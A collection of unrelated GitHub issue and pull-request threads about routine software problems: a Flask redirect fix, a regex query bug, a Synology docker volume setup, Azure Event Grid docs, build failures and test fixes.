Sorry for the delay, I've been having troubles with the test server. What key and sourcetype should I use in splunk_metadata for the Trellix events?

@flybarger key and sorcetype you can find on the documentation for PR.
Please let me know is it working for you or not.

@flybarger, I will release it tomorrow


fix: remove unnecessary redirect

SUMMARY

Flask follows strict URLs policy by default and current behaviour generates one unnecessary redirect.
.../api/v1/dataset?q=... redirects to .../api/v1/dataset/?q=...
One possible workaround is to set app.url_map.strict_slashes = False.
BEFORE/AFTER SCREENSHOTS OR ANIMATED GIF

TESTING INSTRUCTIONS

Open dev tools to monitor network traffic.

Open SQLLab and try to save any query as Dataset.

Click "Overwrite existing" and click on dropdown to see the list.

Expected result:
The single request to .../api/v1/dataset/?q=... without redirect.
ADDITIONAL INFORMATION

[ ] Has associated issue:
[ ] Required feature flags:
[ ] Changes UI
[ ] Includes DB Migration (follow approval process in SIP-59)

[ ] Migration is atomic, supports rollback & is backwards-compatible
[ ] Confirm DB migration upgrade and downgrade tested
[ ] Runtime estimates and downtime expectations provided

[ ] Introduces new feature or API
[ ] Removes existing feature or API

Thanks @Khrol for the change and helping to ensure consistent behavior.

Thank you @Khrol !
Thanks to your PR, I solved the issue: https://apache-superset.slack.com/archives/C015WAZL0KH/p1708674672900109


Issue with regex with value 'sh'

Hi,
I have used regex in select query for case-insensitive search from db and it works fine.
but recently I found that if I pass value "sh" to select with regex it doesn't seems to work.
but if I remove regex from query it works fine but in that case the case insensitivity search got failed.
here are both queries.
$field1 = "sh";
$users = Collection1::where('field1', $field1)->where('field2', $field2)->first();
in the above it works fine if I pass value sh in $field1.
but it is case sensitive.
And :-
$field1 = "sh";
Collection1::where('field1','regexp', "/$field1$/i")->where('field2', $field2)->first();
and in this case it gets fail if I set value sh in $field1

I have found a solution for this.
adding caret sign works for me.
$field1 = "sh";
Collection1::where('field1','regexp', "/^$field1$/i")->where('field2', $field2)->first()


Remove duplicate and empty SSID entries.

Change-Type: patch
Connects-To: #265

Hi, thanks for the PR! I think that we should handle this elsewhere - I mean, not the presentation layer, but in the networks endpoint. Presentation layer should display everything what's returned from the networks endpoint. What do you think? If you're not familiar with Rust, I can do it.

Closing in favor of #339.


How to set volume1 volume on Synology?

Anyone with a working Synology configuration who can help providing directions how to set-up volume /volume1:volume1:ro using (or not) the synology docker UI?
i.e. my backup includes for instance /volume1/ @ database/mariadb10 which I cannot specify as volume in the container parameter UI.
Although if I set up accessible subfolders of /volume1 one by one, the crashplan backup does not seem to find the files to backup such as the @ database - could be due to the different User ID ?
Any configuration file I can edit directly to bypass the UI?

I could make it work but outside of the Synology UI.
docker run -d --name=SynoDS916 -e USER_ID=0 -e GROUP_ID=0 -e PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin -e LANG=en_US.UTF-8 -e S6_BEHAVIOUR_IF_STAGE2_FAILS=3 -e S6_SERVICE_DEPS=1 -e CRASHPLAN_SRV_MAX_MEM=4096M -e APP_NAME=CrashPlan_for_Small_Business -e APP_USER=app -e XDG_DATA_HOME=/config/xdg/data -e XDG_CONFIG_HOME=/config/xdg/config -e XDG_CACHE_HOME=/config/xdg/cache -e DISPLAY=:0 -e DISPLAY_WIDTH=1280 -e DISPLAY_HEIGHT=768 -e S6_WAIT_FOR_SERVICE_MAXTIME=10000 -e KEEP_APP_RUNNING=1 -e CRASHPLAN_DIR=/usr/local/crashplan -e JAVACOMMON=/usr/local/crashplan/jre/bin/java -e SECURE_CONNECTION=1 -p 5800:5800 -v /volume1/docker/appdata/crashplan-pro:/config:rw -v /volume1/:/volume1:ro jlesage/crashplan-pro

I heard from at least one user that everything should be configurable from the UI.
Also, wen running the docker run command, you don't need to set all the variables (-e parameters).  You just set the ones you want to override.

I heard from at least one user that everything should be configurable from the UI.
With my Synology installation going to Volumes settings will not provide the list of many folders and files. @ Database is one missing. So we can't basically define access from inside the container to those missing Host folders. It could be a matter of User privileges running the Docker itself, I couldn't find how to fix this. The fact that having to 1) go SSH in order to configure the container is a bit weak and 2) having to expose the full /volume1 instead of the long list of sub-folders is not a good practice either - but at least (and at last) it worked!
Thanks for the tip with -e...


rpcclient: fix TestWSClientNonBlockingEvents

Add waiting for startSending to ensure that the client is ready before the server starts sending messages.
Close #3005

maybe we can add such "checks" to all httptest.NewServer cases in the wsclient tests?

maybe we can add such "checks" to all httptest.NewServer cases in the wsclient tests?

Yes, let's review all related tests because for example TestWSClientEvents has the same problem.


unclear tutorial steps

Hi,
I tried to create an event subscription, following these instructions:

In the Azure portal, go to your namespace.
In the left pane, select the Event Grid.

First, it is unclear what is meant by "your namespace". I guess the ASB namespace is meant. However, when i go there, there is no 'Event Grid' in the left pane. I see the following items:
1 Overview
2 Activity Log
3 Access control (IAM)
4 Tags
5 Diagnose and solve problems
Settings
7 Shared access policies
...

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 3e25005c-06da-1e87-ab0d-05f641d7e795
Version Independent ID: 34e6baf1-71a3-bbef-05da-2923b77cf203
Content: Azure Service Bus to Event Grid integration overview
Content Source: articles/service-bus-messaging/service-bus-to-event-grid-integration-concept.md
Service: service-bus-messaging
GitHub Login: @axisc
Microsoft Alias: aschhab

The tutorial would be better if it said:

Go to the home page of your tenant
Enter 'event grid' in the search bar at the top
Select 'Event Subscriptions'

Hi @dewitweb Thanks for your feedback. We will review and update as appropriate.

Or, as i see now, what is meant with 'namespace' is resource group:

In the Azure portal, go to your 'resource group'.

There i see 'Events' in the left pane

Unfortunately, from yje "Create event Subscription" page it also is not possible to select my Service Bus Resource. The drop down menu stays empty.

Can it be that it is because my Service Bus isn't PREMIUM. Maybe then first add the steps to check if the Service Bus is PREMIUM ("EventGrid subscriptions can only be setup for Premium Messaging namespaces").
And of course, how to set them to premium. Because in my tenant, the premium Tier is greyed out.
This i found in the JSON log of the portal after running the Powershell command (which also failed):
"statusMessage": "{\"status\":\"Failed\",\"error\":{\"code\":\"ResourceOperationFailure\",\"message\":\"The resource operation completed with terminal provisioning state 'Failed'.\",\"details\":[{\"code\":\"Publisher Notification Error\",\"message\":\"Failed to enable publisher notifications.\",\"details\":[{\"code\":\"Publisher Provider Error\",\"message\":\"PUT request for https://management.azure.com/subscriptions/b97c6155-8730-41ee-9b6c-118c18914aad/resourceGroups/testwdw/providers/microsoft.servicebus/namespaces/wij-techniekwdw/eventGridFilters/wdwtestevent?api-version=2017-04-01 failed with status code: BadRequest, code: BadRequest and message: EventGrid subscriptions can only be setup for Premium Messaging namespaces CorrelationId: c39d87b5-abfc-432c-ab83-7acdb340db02.\"}]}]}}"     },

@dewitweb I am glad that the issue is resolved. For updating doc, will create the internal work item.  For now I will proceed with closure of this and If there are further questions regarding this matter, please tag me in your reply. We will gladly continue the discussion and we will reopen the issue.


docker-compose up error

In chapter 1, after building up the docker, when docker-compose up command is run we get an error as follows:
Creating network "hello_default" with the default driver
Creating hello_web_1 ... done
Attaching to hello_web_1
web_1  | Traceback (most recent call last):
web_1  |   File "/code/manage.py", line 10, in main
web_1  |     from django.core.management import execute_from_command_line
web_1  | ModuleNotFoundError: No module named 'django'
web_1  |
web_1  | The above exception was the direct cause of the following exception:
web_1  |
web_1  | Traceback (most recent call last):
web_1  |   File "/code/manage.py", line 21, in <module>
web_1  |     main()
web_1  |   File "/code/manage.py", line 16, in main
web_1  |     ) from exc
web_1  | ImportError: Couldn't import Django. Are you sure it's installed and available on your PYTHONPATH environment variable? Did you forget to activate a virtual environment?
hello_web_1 exited with code 1

Solved it using docker-compose build .


examples: mount contour ConfigMap on /config/contour.json

Fixes #1342

rename contour-config to envoy-config
rename contour.json to envoy.json
bind /config/contour.json to all contour pods

PTAL, mo' yaml errors


not producing /standard/imu when used with phins

Hello, I am using this driver with a phins surface iii. I see that it is producing /standard/navsatfix and also /ix/ins but its not producing /standard/imu though it is creating the topic.
Is there a dependency on a particular phins firmware?
Any other ideas on what to look for to trouble shoot?
Thanks!!

Updated the INS firmware and now it is working as expected.

Hi, I'd like to know how you updated the firmware. I inherited a system installed by someone else, and it seems we're facing the same problem.

Hi @jiheddachraoui
You should contact the support team to help you update tour firmware:
https://www.ixblue.com/contact/?form_id=support

Hello @romainreignier , thank you for your response.
Before proceeding with the firmware update, I want to double-check if there are any specific configurations or alternative solutions for this issue, as everything seems fine on the web interface.

Hello @jiheddachraoui
To have the INS message published, you need this condition to be true.
If you don't have the topic published, it means that your system does not provide one of the required STDBIN blocks.
You might try change the code to skip a block or use another one but some information will be missing or not follow ROS convention.

Thanks @romainreignier  for getting back to me quickly. I'll look into this matter more deeply.
Do you think the update is crucial and will directly fix this issue?
Just to confirm: my system (Atlans A7)  is initialized correctly, and I'm already receiving messages from all topics except for /standard/imu.


[RFE] Check if inspektor-gadget scales and until which number of nodes

Current situation
We do not know if inspektor-gadget scales well.
Normally it should, as a gadget pod is deployed within each node but there is maybe a bottleneck on data gathering for each node.
Impact
Maybe inspektor-gadget does not scale over X nodes, who knows?
Ideal future situation
We should be able to know the number of nodes inspektor-gadget can handle.
If some minor modifications can be added to increase its scaling, they should be added.

Francis, you self-assigned this bug to yourself. Do you have a specific test in mind? What are you planning to do about this issue?

Do you have a specific test in mind? What are you planning to do about this issue?

Yes, the idea is to run this on AKS with a high number of node (let's call it N).
On each of the N nodes, a pod which does something like this is run:
forks=0

We should test those IG components:

kubeipresolver and kubenameresolver when there is a large amount of Kubernetes services, endpoints and pods and when they are added/removed regularly. We need to test gadgets that use those operators.
trace exec with the new --cwd option
test ig trace exec in addition to kubectl-gadget trace exec (this could be done with a kubectl debug node command)

It would be interesting to report the cpu usage (in percent) during the tests:

cpu usage in userspace by the ig or gadgettracermanager process.

cpu profile (sudo /usr/share/bcc/tools/profile -p $PID_OF_IG) and report the most common stacks

cpu usage by IG's ebpf programs (using ig top ebpf to measure).

The whole goal of testing kubectl gadget trace exec was to test the scaling on several nodes of Inspektor Gadget.
If you want to test ig, you do not need to test it on several nodes, just on a big one (e.g. 96 cores or even more).

I was thinking that when running ig on a single worker node, it might still have scaling issues if there are a lot of nodes and a lot of service endpoints because the operators kubeipresolver and kubenameresolver still need to get the list of endpoints e.g. for the "trace tcp" gadget. But now I see ig does not yet use those operators. cc @burak-ok

With the second, you only get the CPU usage of the eBPF program, right?
It would be interesting to get both the eBPF program and the golang code.
Particularly to get an understanding of at which cost we scale.

Yes exactly. Some users just want to know a global IG cpu usage percentage that includes both the eBPF programs and userspace for specific scenarios.


version 2 script does not run hspec-discover

The cabal sdist command issues a warning that preprocessors have not run
See https://travis-ci.org/alanz/HaRe/jobs/256413803#L856
This results in the generated not being found when the tests run

@alanz I just tried it locally, and the problem appears to be two things:

the Spec module doesn't occur in the test-suites other-modules, and so the source-dist is in fact incomplete  (this is what the version 2 script was designed to detect). Note that the released http://hackage.haskell.org/package/HaRe-<IP_ADDRESS>/HaRe-<IP_ADDRESS>.tar.gz tarball also is incomplete as well

You need to specify a tool-dependency on hspec-discover, just add something like
build-tool-depends: hspec-discover:hspec-discover ^>= 2.4.4

to the test-suite stanza. Cabal < 2 will ignore it (but warn about an unknown directive), while Cabal >= 2 will honor it.

Thanks. To be honest, I have not been working with new-build on this project, and forgot that the version 2 used that.
But I will make the changes you recommend and see how it goes.

So the cabal file is deficient, no problem with this script.


Ability to stop Territect mid-generation [SUGGESTION]

Is your feature request related to a problem? Please describe.
Currently, there is no way to abort the generation of a preset other than starting a new one or closing the game. Clearing the simulation will cause Territect to continue generating like nothing happened. This is very strange behavior and should be fixed.
Describe the solution you'd like
Automatically detect clear sim and abort the currently generating preset when detected.
Describe alternatives you've considered
A keybind that aborts the current preset.

Clicking the Territect button while waiting for a preset to finish generating will abort it. May change implementation slightly


update mnconvert dependency to avoid conflict on metanorma-cli

metanorma/metanorma-cli#261

Metanorma PR checklist

NO Breaking changes (list related PRs)
NO Documentation update required (create task for this)
NO External dependency introduced (documentation update need)
NO Gem with native library introduced

Depends on PRs

https://github.com/metanorma/mnconvert-ruby/pull/2

Related PRs

https://github.com/metanorma/mnconvert-ruby/pull/2
https://github.com/metanorma/metanorma-cli/pull/262

@CAMOBAP we will have to apply this to all flavors that use MnConvert.

we will have to apply this to all flavors that use MnConvert.

Yep, but I didn't find other invocation on MnCovert in other metanorma-cli deps. @ronaldtse maybe you know which ones are missing?

@reviewers Also actual version in gemspec will be changed after release of mnconvert

Yep, but I didn't find other invocation on MnCovert in other metanorma-cli deps. @ronaldtse maybe you know which ones are missing?

Then there are none -- ISOSTS and NISO STS only apply to ISO and IEC flavors. And metanorma-iec inherits from metanorma-iso. Let's go with this!

Ready for review, test https://github.com/metanorma/metanorma-iso/blob/main/spec/asciidoctor/refs_spec.rb#L6 is broken


MacOS build release app got a typing view on bottom

Why?

@luohao123
It seems your issue is same as https://github.com/flutter/flutter/issues/128956 that has been fixed already. Please check the same along with underlying comments and see if it helps in your case or not.

Solved


chore(ops): add .rb extension to Ruby files

@jhult FYI, prior to this PR, the convention was that if there was no .rb extension, then the script was separately invocable (executable).


Build failing

Hi there,
I'm trying to use your awesome module. I followed the instructions in your readme but on build I am getting this:
FAILURE: Build failed with an exception.
* What went wrong:
A problem occurred configuring project ':VoiceModule'.
> Could not resolve all dependencies for configuration ':VoiceModule:classpath'.
   > Could not download transform-api.jar (com.android.tools.build:transform-api:1.5.0)
      > Could not get resource 'https://jcenter.bintray.com/com/android/tools/build/transform
-api/1.5.0/transform-api-1.5.0.jar'.
         > Could not GET 'https://jcenter.bintray.com/com/android/tools/build/transform-api/1
.5.0/transform-api-1.5.0.jar'. Received status code 500 from server: Internal Server Error

* Try:
Run with --stacktrace option to get the stack trace. Run with --info or --debug option to get
 more log output.

BUILD FAILED

Total time: 6 mins 33.853 secs

Do you have any ideas?
Thanks

@Noitidart Hey thanks for showing interest in this module. I'll have a look and try and figure out what is happening

Thank you very much @JoaoCnh ! :)

@Noitidart I tried investigating a bit. Can't really test on my machine right now. But it might be some maven repo problems. Have you tried again?

I will try again this week with a screencast. For now I have adopted IBM's Bluemix API - Watson, so it is cross platform :)
Thank you so much for following up with me! :)

@Noitidart np. any news update pls. I will close this issue for now.

Forgive me my man I got so busy, I will for sure updated this topic when I test it. I was having lots of success with Watson so was going with that for now. It was cross platform too so it had that bonus.